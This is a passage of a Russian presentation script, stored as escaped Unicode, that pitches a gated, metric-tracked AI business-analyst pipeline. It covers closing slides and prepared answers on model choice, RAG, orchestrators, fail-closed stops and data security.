\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f\\n  [\u043f\u044f\u0442\u044c\u044e \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430, \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439.\\n- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438: \u0435\u0441\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442, \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u2014 \u0441\u0438\u0433\u043d\u0430\u043b \u0442\u0440\u0435\u0432\u043e\u0433\u0438, \u0430 \u043d\u0435 \u0443\u0441\u043f\u0435\u0445.\\n- \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435,\\n  \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u0422\u0440\u0438 \u0448\u0430\u0433\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. Runner \u043d\u0430 \u0410\u0420\u041c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u0430\u043c\\n  \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0438 \u0443\u043c\u0435\u0442\u044c \u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430\\n  \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430. \u0417\u0430\u0434\u0430\u0447\u0438 \u0443\u0436\u0435 \u0432\\n  [\u0431\u044d\u043a\u043b\u043e\u0433\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md):\\n  B-211\u2026B-213.\\n- \u0428\u0430\u0433 2 \u2014 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447\u0430\u0445. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430:\\n  \u043c\u0435\u043d\u044c\u0448\u0435 95% \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430\\n  \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0428\u0430\u0433 3 \u2014 \u0421\u0440\u0435\u0434\u0430 4. \u0417\u0434\u0435\u0441\u044c \u043d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0441 \u0432\u0430\u0448\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u0441\u043b\u0443\u0436\u0431\u044b.\\n- \u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 low-code \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n**\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435:** \u00ab\u041c\u044b \u043f\u0440\u043e\u0441\u0438\u043c \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0443 \u0434\u043b\u044f\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u043c \u0435\u0451\\n\u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e\u0439, \u0443\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u00bb.\\n\\n---\\n\\n## \u041e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0449\u043d\u0435\u0435?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043c\u0435\u043d\u044f\u0435\u0442 \u0447\u0430\u0441\u0442\u043e\u0442\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u043d\u0435 \u0438\u0445 \u043a\u043b\u0430\u0441\u0441. \u0412\\n[A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md)\\n\u043d\u0430 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 65 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u0430\u043b\u0430 43.1% \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0434\u0440\u0443\u0433\u0430\u044f \u2014 0%. \u041d\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438: \u043d\u043e\u043c\u0435\u0440\u0430\\n\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435, \u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438, \u0430 \u043d\u0435\\n\u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e,\\n\u043a\u0430\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0422\u043e\u0433\u0434\u0430 \u0441\u043c\u0435\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u0446\u0435\u043d\u044b \u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0430\\n\u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\\n\\nRAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\\n\u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\\n\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\n\\n### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\\n\\n\u041c\u044b [\u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md).\\nDify, Flowise, Temporal \u0438 Camunda \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u044f\u0434\u0440\u043e. n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c, \u0443\u0437\u0435\u043b AI Agent\\n\u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0443 n8n \u0431\u044b\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\\nCVE-2026-21858 \u0441 CVSS 10.0. LangGraph \u043f\u043e\u0434 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0435\u0439 MIT \u2014 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435\\n\u043f\u043e\u0437\u0434\u043d\u0438\u0439 \u044d\u0442\u0430\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043d\u0435 \u0441\u0435\u0439\u0447\u0430\u0441: \u043d\u0430\u0448 \u0433\u0440\u0430\u0444 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432 \u043f\u0440\u043e\u0449\u0435\\n\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0435.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 fail-closed \u0442\u043e\u0440\u043c\u043e\u0437\u043e\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0430 \u043d\u0435 \u0430\u0432\u0430\u0440\u0438\u044f: \u0448\u0430\u0433 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0430\\n\u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0431\u044e\u0440\u043e\u043a\u0440\u0430\u0442\u0438\u044e, \u0432 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e: \u0435\u0441\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441\\n\u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u043e\u0439 `M-5`.\\n\\n### \u00ab\u041a\u0430\u043a \u0432\u044b \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e, \u0435\u0441\u043b\u0438 evals \u043d\u0435 \u0431\u044b\u043b\u043e?\u00bb\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0441\u043d\u044f\u0442\u0430 \u0434\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f: `M-1 = 0.0` \u0438 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u043e\u0440\u043e\u0433\\n\u0443\u0441\u043f\u0435\u0445\u0430 \u0441\u0440\u0435\u0437\u0430 \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 100% \u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 `M-1` \u043f\u0440\u0438\\n\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u043e\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n\\n### \u00ab\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432?\u00bb\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u2014 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b: \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0440\u0430\u0437\u043d\u044b\u0435, \u0432\\n\u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443, \u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b: \u0432\u0445\u043e\u0434\u044b,\\n\u0432\u044b\u0445\u043e\u0434\u044b, \u0434\u0438\u0430\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0413\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\\n\\n\u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\\n\u043f\u0440\u0438\u0451\u043c\u043a\u0443. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 `M-3` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0430\u0432\u043e\u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u0441\u043b\u0435\\n\u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430. \u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 